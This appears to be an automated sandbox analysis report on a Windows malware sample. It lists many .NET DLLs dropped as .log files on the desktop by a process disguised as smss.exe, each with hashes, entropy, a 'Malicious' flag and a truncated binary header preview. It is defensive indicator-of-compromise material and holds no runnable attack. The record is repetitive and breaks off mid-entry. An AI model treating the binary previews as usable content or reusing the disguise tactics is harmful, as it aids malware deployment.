                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\cFxiHZBR.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\cJhXlcmL.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\cVOhKnxw.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\cgwfqyWr.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\cmVzZJrz.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\czNHusHi.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\dCYqcZQM.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\dnRPfGDg.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\dzDircTa.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\eGIfGcBG.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\eWBEmWPB.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\eksYBGSa.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\emHqcqPY.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\fRPzNptz.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\fhUgXGhV.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\flkfWsYy.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\gFxXhjWW.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\gGHpEGho.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\gOqIjpIu.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\gcLqgFrs.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ghXFmpvC.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
